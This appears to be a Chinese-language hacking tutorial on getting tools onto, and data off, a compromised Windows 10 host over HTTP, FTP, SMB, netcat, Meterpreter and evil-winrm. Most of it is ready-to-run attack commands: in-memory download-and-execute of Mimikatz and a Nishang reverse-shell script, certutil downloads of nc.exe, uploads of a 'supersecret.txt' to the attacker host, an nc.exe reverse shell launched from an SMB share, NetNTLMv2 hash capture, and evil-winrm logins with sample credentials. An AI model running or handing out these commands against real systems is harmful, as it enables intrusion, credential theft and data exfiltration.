在这篇文章中,我们将深入探讨文件传输的艺术。我们将介绍如何将文件从攻击者计算机传输到受害者 Windows 10 主机(下载),以及如何从受害者 Windows 10 主机传输回攻击者计算机(上传)的各种技术。
作为黑客,我们经常发现我们需要向受害者投放工具,或者需要将我们的漏洞下载到内存中。无论哪种方式,我们都需要知道如何将这些工具或漏洞发送给受害者,更重要的是,我们需要知道实现这一目标的多种方法。
1.从攻击者的HTTP服务器下载文件
1.1在攻击者机器上设置HTTP服务器
将文件下载到受害者的最常见方法可能是在攻击者计算机上设置 HTTP 服务器。通过这种技术,您可以从包含要下载到受害者的文件/漏洞的目录启动 HTTP 服务器。
有很多方法可以在我们的攻击者机器上启动 HTTP 服务器;然而,最常见的方法是使用 Python 和 Apache。
使用 Python,您可以从任何目录启动 HTTP 服务器;然而,Apache 有一个 webroot 目录,默认情况下通常是/var/www/html。
要启动 Apache Web 服务器,请将要向受害者提供的文件放在/var/www/html中,然后运行命令:
代码语言:javascript复制systemctl start apache2
现在您将有一个在端口 80 上运行的网络服务器;如果您向网络服务器添加新文件,则需要使用以下命令重新启动服务以使它们可见:
代码语言:javascript复制systemctl restart apache2
启动 HTTP 服务器的另一种方法是使用 Python。使用 Python,我们可以在任何目录中使用以下命令通过 HTTP 提供该目录:
代码语言:javascript复制python -m SimpleHTTPServer 80
python3 -m http.server 80
如果您不在末尾添加“80”来告诉 Python 通过该端口运行 HTTP 服务器,则默认情况下它将通过 pot 8000 运行 HTTP 服务器。这可能很烦人,因为当服务器未在端口 80 上运行时,您始终必须将端口号添加到 URL 中。
我个人使用 Python HTTP 服务器的次数多于任何其他方法。当针对受害者时,我将在攻击者计算机上创建一个特定于我的目标主机的工作目录。然后我可以将用于特定漏洞利用的任何工具复制到该目录中。此外,我还在攻击者计算机上保留了一个 Windows 漏洞利用文件夹,其中包含我使用的所有常见漏洞利用和 PowerShell 脚本。这使我能够准备好一切,从任一目录为受害者提供服务,同时保持我的漏洞利用位置井井有条。
使用 Python 的一个好处是它可以在终端窗口中记录 HTTP 服务器上的活动。这使您可以确认文件已下载。或者,如果您发现了盲 RCE 漏洞并需要确认其是否有效,也可以使用此方法。您可以使用以下命令之一来触摸 HTTP 服务器,然后检查日志。如果日志进来,你就知道你有盲 RCE。
现在我们已经了解了如何启动 HTTP 服务器,接下来让我们探讨一下从 HTTP 服务器将文件下载到受害者的各种方法。
1.2从攻击者的HTTP服务器下载文件:浏览器 (GUI)
从攻击者计算机下载文件的最简单方法是使用受害者上的浏览器导航到我们的 HTTP 服务器。
单击其中任何一个都会将文件下载到当前用户的“下载”文件夹中。
1.3从攻击者的HTTP服务器下载文件:PowerShell
PowerShell 有一个名为 Invoke-WebRequest 的内置函数,可用于从 HTTP 服务器下载文件,如下所示:
代码语言:javascript复制IWR -Uri http://172.16.1.30/nc.exe -OutFile C:tempnc.exe
使用 PowerShell 下载文件的另一种方法是使用 WebClient 类:
代码语言:javascript复制(New-Object System.Net.WebClient).DownloadFile('http://172.16.1.30/nc.exe', 'C:tempnc.exe')
虽然最后两个示例允许您将文件下载到磁盘上,但通过使用 Invoke-Expression 函数,我们还可以使用 Invoke-Expression 将文件直接下载并执行到内存中:
代码语言:javascript复制IEX(New-Object System.Net.WebClient).DownloadString('http://172.16.1.30/Invoke-Mimikatz.ps1')
根据我的经验,IEX 仅适用于将 PS1 脚本和 BATCH (.BAT) 文件下载并执行到内存中。这不会将 EXE 文件下载并执行到内存中。
当PowerShell脚本被下载并直接执行到内存中时,它会将脚本加载到当前会话中,以便可以执行脚本函数。但是,由于执行策略,这可能会带来问题。为了绕过这个问题,我们可以在 PS1 脚本的底部硬编码一个函数/命令,当脚本下载到内存中执行时,它也会执行底部的硬编码命令。
例如,我使用的常见 PowerShell 脚本名为Invoke-PowerShellTcp.ps1,来自 Nishang 脚本集合。
代码语言:javascript复制https://github.com/samratashok/nishang
为了利用 IEX 的强大功能,我们可以从攻击者计算机将脚本复制到运行 HTTP 服务器的目录中,然后在底部附加以下命令:
根据需要编辑 IP 和端口。
代码语言:javascript复制Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
现在我们在脚本底部有了硬编码命令,我们需要在硬编码命令中使用的同一端口上启动 netcat 侦听器。然后,我们可以使用以下命令将脚本直接下载到内存中并执行:
代码语言:javascript复制IEX(New-Object System.Net.WebClient).DownloadString('http://172.16.1.30/Invoke-PowerShellTcp.ps1')
从我们的Python日志中,我们可以看到用户成功下载了脚本;在我们的受害者上,我们看到提示符在执行后立即挂起。
回头检查我们的监听器,我们得到了一个 shell!
1.4从攻击者的HTTP服务器下载文件:cmd.exe
借助 PowerShell 示例,我们可以使用一种技术,它允许我们从 cmd.exe 提示符执行 PowerShell 命令。
要从 cmd.exe 提示符执行 PowerShell 命令,请使用“ powershell.exe -c ”启动该命令,后跟要执行的 PowerShell 命令,并用双引号引起来。
例如,如果我们在 cmd.exe 提示符下立足,并且就地 PowerShell 升级正在终止我们的 shell,我们可以再次使用 Nishang 的脚本,但这次附加“ powershell.exe -c ”,我们将能够升级到 PowerShell。
代码语言:javascript复制powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://172.16.1.30/Invoke-PowerShellTcp.ps1')"
从 cmd.exe 提示符下载文件到受害者的最常见技术是使用certutil.exe。Certutil 的主要功能是转储和显示证书颁发机构 (CA) 配置信息。但是,当使用-f、-split和-urlcache开关时,您可以从任何 URL 下载任何文件!
当我们的 HTTP 服务器运行时,我们可以使用 certutil 从攻击者机器下载文件,如下所示:
代码语言:javascript复制certutil.exe -urlcache -split -f "http://172.16.1.30/nc.exe" C:tempnc.exe
Windows 10 和 Server 2019 具有内置 cURL (curl.exe),可用于下载文件,其方式与在 Linux 计算机上使用的方式相同。
要使用curl.exe将文件下载到受害者上,请使用以下命令:
代码语言:javascript复制curl.exe 172.16.1.30/wget.exe -o C:tempwget.exe
我特意下载了wget.exe来表示可以……我们也可以使用wget.exe来下载文件。然而,由于它不是内置的,我们需要建立一种传输文件的方法,以便将其传输到我们的受害者计算机上。虽然绝对值得一提,但在我看来,它有点多余,因为它不能成为首选。
除了 certutil.exe 之外,还有许多其他内置二进制文件可用于下载文件。如果您有兴趣通过学习如何滥用内置二进制文件和“靠土地为生”来提高您的黑客游戏水平,请查看此处的LOLBAS 项目。
代码语言:javascript复制https://lolbas-project.github.io/
2.将文件上传到攻击者的HTTP服务器
2.1设置HTTP服务器以允许在攻击者计算机上上传
从 Apache Web 服务器开始,我们可以通过编写 PHP 上传脚本来设置上传文件的方法。
首先使用文本编辑器创建一个名为upload.php的脚本,然后将该脚本放置在/var/www/html中。
这是 upload.php 的脚本:
代码语言:javascript复制<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
创建文件后,现在我们只需要从脚本创建上传文件夹来存放我们的上传内容。最后,为了使这项工作正常进行,我们需要将上传目录的完全所有权授予 www-data。
代码语言:javascript复制mkdir /var/www/uploads
chown www-data:www-data /var/www/uploads
创建了允许我们上传文件所需的文件和目录后,现在我们需要做的就是使用systemctl start apache2启动 Apache ,然后我们就可以将文件从受害者上传到攻击者计算机。
此外,我们可以使用此处找到的名为SimpleHTTPServerWithUpload.py的 Python 脚本来启动接受 POST 请求并上传文件的 HTTP 服务器。
代码语言:javascript复制https://github.com/Tallguy297/SimpleHTTPServerWithUpload/blob/master/SimpleHTTPServerWithUpload.py
复制原始代码,然后使用文本编辑器将代码粘贴到名为SimpleHTTPServerWithUpload.py的文件中。之后,授予脚本执行权限。
我们现在需要做的就是使用以下命令运行脚本,我们的服务器就会运行:
代码语言:javascript复制python3 SimpleHTTPServerWithUpload.py 80
2.2将文件上传到攻击者的HTTP服务器:浏览器 (GUI)
Python Web服务器可以像原来的HTTP服务器一样在浏览器中访问;不过,这次它配备了易于使用的上传功能。
apache 服务器没有 GUI 上传功能,只有 upload.php。要执行 GUI 上传到 apache,我们需要创建一个 upload.html 文件。如果您有兴趣,可以自己探索这个选项。
使用 SimpleHTTPServerWithUpload.py,您仍然可以获得下载文件的常规目录列表,并具有 GUI 上传功能的额外好处,该功能可用于轻松地将文件渗漏回攻击者计算机。
关于受害者:
关于攻击者:
2.3将文件上传到攻击者的 HTTP 服务器:PowerShell
在 PowerShell 提示符下,我们可以执行以下命令将文件夹上传到 Python HTTP 服务器:
代码语言:javascript复制(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/', 'C:tempsupersecret.txt')
然后回到我们的攻击者,我们可以检查日志以查看文件是否已成功上传,我们可以看到它是成功的。
对于 Apache 服务器,您需要稍微调整命令以将文件专门推送到 upload.php,如下所示:
代码语言:javascript复制(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/upload.php', 'C:tempsupersecret.txt')
2.4上传文件到攻击者的HTTP服务器:cmd.exe
就像我们之前看到的那样,通过在上面的 PowerShell 命令前面添加powershell -c并将其用双引号引起来,我们可以从 cmd.exe 提示符执行它:
代码语言:javascript复制powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://172.16.1.30/upload.php', 'C:tempsupersecret.txt')"
我们可以使用 cmd.exe 上传文件的另一种方法是使用curl.exe。借助 cURL,我们可以使用以下命令将文件上传到 Python HTTP 服务器:
代码语言:javascript复制curl.exe -F 'file=@C:\temp\supersecret.txt' http://172.16.1.30
双反斜杠对于文件位置很重要,使用单个反斜杠该命令将失败。
然后,对于 Apache 服务器,我们只需要在目标地址中添加 upload.php 即可:
代码语言:javascript复制curl.exe -F 'file=@C:\temp\supersecret.txt' http://172.16.1.30/upload.php
3.从攻击者的FTP服务器下载文件
3.1在攻击者机器上设置 FTP 服务器
在我们的攻击者机器上,我们可以使用许多不同的 FTP 程序来启动我们的服务器;然而,我们希望使用一些轻量级的东西,我们可以在没有开销的情况下启动和拆除。为了实现这一点,我们将使用 Python 的pyftpdlib。
如果您还没有 pyftdlib,则可以使用以下命令下载 Python2 版本:pip install pyftpdlib或使用python3 pip install pyftdlib或pip3 install pyftpdlib 下载 Python3 版本
导航到包含要传输给受害者的文件的目录,然后使用以下命令启动 FTP 服务器:
代码语言:javascript复制python3 -m pyftpdlib -w -p 21
其中“ -w ”允许写入权限,将文件上传到 FTP 服务器时需要此信息。
这将创建一个允许匿名访问的 FTP 服务器。
回到受害者,我们可以通过几种不同的方式从 FTP 服务器下载文件。
3.2从攻击者的FTP服务器下载文件:FTP 提示符(GUI)
与 FTP 服务器交互并下载文件的最简单方法是当我们具有 GUI 访问权限时。通过 GUI 访问,我们可以进入 FTP 提示符并与其交互,如下所示:
我们看到文件下载成功并返回到我们的攻击者计算机上,我们可以在 FTP 日志中看到用户签入并下载了该文件。
3.3从攻击者的FTP服务器下载文件:cmd.exe
当我们没有 GUI 访问权限时会发生什么?由于 FTP 是一个交互式命令并会进入 FTP 提示符,因此如果我们有一个反向 shell,我们就不能简单地与其交互。
幸运的是,我们可以创建一个 TXT 文件,该文件可以输入 ftp.exe 并逐行执行,从而使我们仍然可以利用 FTP 作为无需 GUI 传输文件的方法。
这种技术也很酷,因为 TXT 文件必须在受害者身上制作。这样就不需要传输文件才能传输文件 - 因为这是多余的!
我们必须在受害者上制作 TXT 文件,因为 Linux 和 Windows 对 TXT 文件使用不同的编码。Linux 使用 UTF8,Windows 使用 ASCII。
首先,我们将使用以下命令制作 ftp.txt 文件:
代码语言:javascript复制echo open 172.16.1.30 > ftp.txt
echo USER anonymous >> ftp.txt
echo PASS anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
如果您要下载非二进制文件,只需从上面的命令中删除“echo binary >> ftp.txt”行即可。
现在我们已经制作了 ftp.txt 文件,我们可以使用以下命令将其输入到 ftp.exe 中,它将在其中逐行执行:
代码语言:javascript复制ftp.exe -v -n -s:ftp.txt
3.4从攻击者的FTP服务器下载文件:PowerShell
利用与上一个示例中相同的技术,我们可以使用 PowerShell 特定命令创建 ftp.txt 文件。
代码语言:javascript复制有时我尝试使用 cmd.exe 方法从 FTP 下载文件但失败。但随后,使用 ascii 编码测试 PowerShell 版本,它起作用了。
echo "open 172.16.1.30" | Out-File .ftp.txt -encoding ascii
echo "USER anonymous" | Out-File .ftp.txt -encoding ascii -append
echo "PASS anonymous" | Out-File .ftp.txt -encoding ascii -append
echo "binary" | Out-File .ftp.txt -encoding ascii -append
echo "GET nc.exe" | Out-File .ftp.txt -encoding ascii -append
echo "bye" | Out-File .ftp.txt -encoding ascii -append
这将在当前目录中创建 ftp.txt;执行时会将GET命令指定的文件下载到当前目录。
现在我们可以再次使用命令ftp.exe -v -n -s:ftp.txt连接到我们的 FTP 服务器并逐行执行 ftp.txt 文件。
4. 上传文件到攻击者的FTP服务器
当我们启动 FTP 服务器时,我们使用-w标志,它为任何登录用户提供写入权限。这允许我们使用PUT将文件上传到 FTP 服务器上。
为了上传到 FTP 服务器,我们使用与从 FTP 服务器下载完全相同的技术。唯一的区别是我们将 GUI 会话和 ftp.txt 文件中的“GET”更改为“PUT”。
由于这在 GUI 中非常简单,因此我们将重点关注 PowerShell 和 cmd.exe 方法对 ftp.txt 的更改。
4.1将文件上传到攻击者的FTP服务器:PowerShell
要将文件从 PowerShell 上传到 FTP 服务器,我们使用以下命令集来制作 ftp.txt 文件:
代码语言:javascript复制echo "open 172.16.1.30" | Out-File .ftp.txt -encoding ascii
echo "USER anonymous" | Out-File .ftp.txt -encoding ascii -append
echo "PASS anonymous" | Out-File .ftp.txt -encoding ascii -append
echo "PUT supersecret.txt" | Out-File .ftp.txt -encoding ascii -append
echo "bye" | Out-File .ftp.txt -encoding ascii -append
注意:在上面的示例中,我们发送一个非二进制文件,因此 ftp.txt 文件中省略了‘binary’命令。
然后再次使用ftp.exe -v -n -s:ftp.txt命令,我们可以将 ftp.txt 提供给 ftp.exe 并将我们的文件上传到攻击者的 FTP 服务器:
然后,回到我们的攻击者机器,我们可以看到受害者签入并上传了文件。
4.2上传文件到攻击者的FTP服务器:cmd.exe
我们对用于将 ftp.txt 文件制作为“PUT”而不是“GET”的 PowerShell 命令进行了相同的更改,我们还将对 cmd.exe 版本进行更改:
代码语言:javascript复制echo open 172.16.1.30 > ftp.txt
echo USER anonymous >> ftp.txt
echo PASS anonymous >> ftp.txt
echo PUT supersecret.txt >> ftp.txt
echo bye >> ftp.txt
现在,通过再次使用命令ftp.exe -v -n -s:ftp.txt(就像我们使用 PowerShell 一样),我们将 supersecret.txt 上传到攻击者计算机的 FTP 服务器。
5.与攻击者的SMB服务器之间传输文件
5.1在攻击者机器上设置SMB服务器
有一个出色的脚本,可用于在我们的攻击者计算机上启动快速 SMB 共享,称为impacket-smbserver ,它是Impacket Suite of Tools的一部分。
代码语言:javascript复制https://github.com/fortra/impacket
从要传输到受害者的工具/文件所在的目录中,使用以下命令将该目录转换为共享:
代码语言:javascript复制impacket-smbserver hax $(pwd) -smb2support
在这里,我们创建了一个名为hax的共享文件夹,并从包含两个文件的目录启动它:nc.exe 和 launcher.bat
通过 SMB 共享所有设置,我们可以开始非常轻松地与攻击者计算机传输文件。
5.2将文件从攻击者的 SMB 服务器传输到受害者
要将文件从攻击者共享复制到受害者,请使用以下命令:
代码语言:javascript复制copy \172.16.1.30haxnc.exe C:tempnc.exe
回到我们的攻击者机器上,我们可以看到受害者签入。这项技术的一个很酷的事情是我们还获得了用户 NetNTLMv2 哈希值的副本。如果我们能够利用不需要知道用户密码的漏洞来立足,我们就可以破解这个哈希值并获得明文密码。
5.3将文件从受害者传输到攻击者的SMB服务器
同样,我们可以通过反转命令将文件从受害者复制到攻击者计算机:
代码语言:javascript复制copy C:tempsupersecret.txt \172.16.1.30haxsupersecret.txt
回到我们的攻击者机器上,我们看到文件已成功传输。
5.4直接从攻击者的 SMB 服务器执行文件(无需传输)
作为奖励,我只是想概述一下,如果您可以设置共享,则无需将任何文件下载到受害者上。通过攻击者计算机上的共享,我们实际上可以直接从共享文件夹在受害者上执行文件。例如,我们可以使用共享中的 nc.exe 获取反向 shell,而无需将其复制到受害者。
对于此示例,在攻击者计算机上的端口 443 上启动 netcat 侦听器,然后在受害者上执行以下命令:
代码语言:javascript复制\172.16.1.30haxnc.exe 172.16.1.30 443 -e cmd.exe
回到我们的监听器,我们已经使用 nc.exe 获得了一个 shell,而无需将其下载到受害者上!
这种技术提供了利用攻击者工具而不会在受害者身上留下痕迹的绝佳机会。
6.使用Netcat从攻击者处传输文件
对于这种技术,我们需要将 nc.exe 下载到受害者上,以便我们可以利用它进行文件传输。
使用 netcat,我们可以将文件从攻击者机器传输到受害者,也可以从受害者传输到攻击者机器。
从 cmd.exe 提示符使用 nc.exe 的语法与 PowerShell 提示符中的语法略有不同,因此我们将回顾两者。
6.1使用Netcat将文件传输给受害者:cmd.exe
文件发送到的机器是侦听器机器,在本例中是受害者。这意味着,我们需要通过在受害者上设置一个侦听器来捕获我们从攻击者计算机推送的文件来开始传输。
关于受害者(第一):
代码语言:javascript复制C:tempnc.exe -nvlp 443 > mimikatz.exe
当受害者侦听器运行并准备好捕获我们发送的文件并将其保存为 mimikatz.exe 时,我们可以继续从攻击者计算机将 mimikatz.exe 推送到受害者。
关于攻击者(第二个):
代码语言:javascript复制nc 172.16.1.100 443 < mimikatz.exe
一旦我们的攻击者机器连接到受害者,它将向我们显示在侦听器上建立的连接。
此时,攻击者和受害者都会出现提示。但是,传输只需要几秒钟(如果是大文件,可能会更长),因此为了安全起见,让提示挂起大约一分钟,然后使用CTRL C取消攻击者端的连接。
我们想要取消攻击者端的连接,这样我们就不会杀死受害者的 shell。一旦我们取消连接,在受害者反向 shell 上按 Enter 几次,您的提示就会重新出现。
检查文件,我们可以看到在将文件大小与攻击者计算机上的原始文件大小进行比较后,它已完整传输。
6.2使用Netcat将文件传输给受害者:PowerShell
在 PowerShell 提示符下使用 netcat 传输文件实际上与使用 cmd.exe 相同,只是 PowerShell 不喜欢“<”或“>”字符,因此我们需要稍微更改一下语法作为解决方法。
关于受害者(第一):
代码语言:javascript复制C:tempnc.exe -nvlp 443 | Out-File -FilePath C:tempmimikatz.exe
从这里开始,其他一切都与 cmd.exe 示例相同:从攻击者处推送文件,等待 1 分钟,终止攻击者的连接,然后检查双方的文件大小是否匹配。
7.使用Netcat将文件传输给攻击者
7.1使用Netcat将文件从受害者传输给攻击者:cmd.exe
使用 netcat 将文件从受害者传输(或泄露)回攻击者计算机类似于将文件从攻击者推送到受害者。这次攻击者是倾听者,受害者将是推动者。
关于攻击者(第一):
代码语言:javascript复制nc -nvlp 443 > supersecret.txt
关于受害者(第二):
代码语言:javascript复制C:tempnc.exe 172.16.1.30 443 < C:tempsupersecret.txt
提示将像之前一样挂在两侧,几秒钟后我们可以使用CTRL C取消与攻击者计算机的连接。之后,我们可以检查文件以确保其完整下载。
7.2使用Netcat将文件从受害者传输给攻击者:PowerShell
同样,与 cmd.exe 相比,使用 PowerShell 时的语法只需稍有不同即可。与前面的示例相同,首先在攻击者计算机上启动侦听器来捕获 supersecret.txt,然后从受害者推送该文件。
关于受害者(第二):
代码语言:javascript复制cat C:tempsupersecret.txt | C:tempnc.exe 172.16.1.30 443
从这里开始,其他一切都与 cmd.exe 示例相同:等待 1 分钟,终止攻击者的连接,然后检查双方的文件大小是否匹配。
我想提一下,还有ncat、socat和powercat.ps1,它们都与 netcat 类似。这些工具中的每一个都有其独特的差异,值得一试!
8.使用Meterpreter下载和上传文件
如果您成功地使用 Metasploit 攻击了一台机器,并通过 meterpreter 提示符在受害者身上站稳了脚跟,那么您可以使用内置的上传和下载功能与受害者之间传输文件。
您还可以使用 msfvenom 制作 meterpreter 负载,然后将其传输给受害者,从常规 shell 升级到 meterpreter shell。一旦有效负载位于受害者上,启动多处理程序侦听器,然后执行有效负载,您将在多处理程序上拥有一个 meterpreter shell。
8.1使用Meterpreter将文件下载到受害者上
无论您是通过漏洞利用还是升级获得 meterpreter shell,您都可以使用 meterpreter 的内置上传功能将文件从攻击者计算机传输到受害者。
Meterpreter的上传和下载命令是从攻击者机器的角度来看的(上传文件给受害者,下载文件给攻击者);然而,整篇文章都是从受害者的角度来看的,我们一直在将文件下载到受害者计算机上并将文件上传给攻击者。
代码语言:javascript复制upload /opt/Windows/exploits/executables/mimikatz.exe C:\temp\mimikatz.exe
8.2使用Meterpreter将文件上传到受害者
就像我们使用upload命令将文件从攻击者下载到受害者上一样,我们也可以使用download命令将文件从受害者上传或泄露回攻击者计算机。
代码语言:javascript复制download C:\temp\supersecret.txt /opt/Juggernaut/JUGG-efrost/supersecret.txt
然后回到我们的攻击者机器上,我们可以看到文件已成功上传。
9.使用evil-winrm下载和上传文件
作为展示如何在 Windows 受害者上传输文件的最后一种方法,我们将使用一个名为evil-winrm的工具。
代码语言:javascript复制https://github.com/Hackplayers/evil-winrm
注:下载/上传时不允许使用相对路径。使用当前目录或绝对路径上的文件名。
这个例子有一些具体的要求,但绝对值得一提。
假设在我们开始进行 nmap 扫描时,我们发现 WinRM 正在端口 5985 上运行。经过一些枚举,我们找到了远程管理用户组中帐户的一组凭据。满足这两个条件后,我们就可以使用 evil-winrm 在受害者上获得反向 shell。
如果您发现用户名 NTLM 哈希组合,则evil-winrm 也可用于哈希传递攻击。有关传递哈希攻击的示例,请查看我关于该主题的帖子。
代码语言:javascript复制evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10
现在我们有了evil-winrm的shell,我们可以使用内置的下载和上传功能来传输文件。
9.1使用evil-winrm 将文件下载到受害者身上
就像我们使用 meterpreter 时一样,evil-winrm 也有一个内置的上传功能,允许我们将文件从攻击者机器传输到受害者。
代码语言:javascript复制upload /opt/Windows/exploits/executables/mimikatz.exe C:tempmimikatz.exe
9.2使用evil-winrm将文件上传到受害者
就像我们使用upload命令将文件从攻击者下载到受害者上一样,我们也可以使用download命令将文件从受害者上传或泄露回攻击者计算机。
代码语言:javascript复制download C:tempsupersecret.txt /opt/Juggernaut/JUGG-Backup/supersecret.txt
然后回到我们的攻击者机器上,我们可以看到文件已成功上传。
9.3直接从攻击者执行文件和脚本(无需传输)
对于最后一个例子,我想快速概述一下 evil-winrm 所具有的一些功能。对于邪恶的winrm,有两个不同的开关值得一提,它们是“ -e ”开关和“ -s ”开关:
代码语言:javascript复制“ -e ”开关用于在攻击者计算机上设置一个目录,该目录可用于直接在受害者上执行二进制(EXE)文件。
“ -s ”开关用于设置攻击者计算机上的目录,可用于直接在受害者上执行 PS1 脚本。
为 PS1 脚本和二进制文件 (EXE) 设置目录允许我们将它们从攻击者计算机直接执行到受害者的内存中。最重要的是,这是不需要下载文件或将文件传输给受害者来完成的。
如果您的 EXE 和 PS1 脚本位于同一目录中,则为两个开关设置相同的目录。
代码语言:javascript复制evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10 -e /opt/Windows/exploits/executables -s /opt/Windows/exploits/Powershell
要从攻击者机器执行二进制文件,我们需要使用邪恶winrm 的自定义内置Invoke-Binary函数。
现在,当我们键入Invoke-Binary后跟一个选项卡时,它将自动完成到我们分配的可执行文件文件夹。再次按 Tab 键将显示所有可用的可执行文件。
并非所有这些二进制文件都可以与 evil-winrm 一起使用,因为它只允许 .Net 程序集(从 C# 编译的可执行文件)在内存中执行。例如,让我们比较nc.exe和winPEASx64.exe:
从这里我们可以看到,我们将能够使用evil-winrm直接在内存中执行winPEASx64.exe。但是,对于任何非 .NET 程序集二进制文件(例如 nc.exe),我们只需将它们下载到受害者上即可。
现在我们已经了解了如何将可执行文件从攻击者计算机直接加载到受害者的内存中,让我们看看如何加载 PS1 脚本,因为我们还使用了 -s开关。
将PS1 脚本加载到evil-winrm 会话中就像按名称执行任何脚本一样简单。由于-s开关指向我们的脚本目录,因此我们可以双击来查看所有可用的 PS1 脚本。
要将脚本加载到evil-winrm,只需输入脚本名称并按回车键即可。无论脚本有什么功能,您都可以在菜单中看到它们。
现在,我们可以在Invoke-Rubeus函数加载到当前会话中时执行该函数,并使用该脚本,而无需将其下载到受害者上。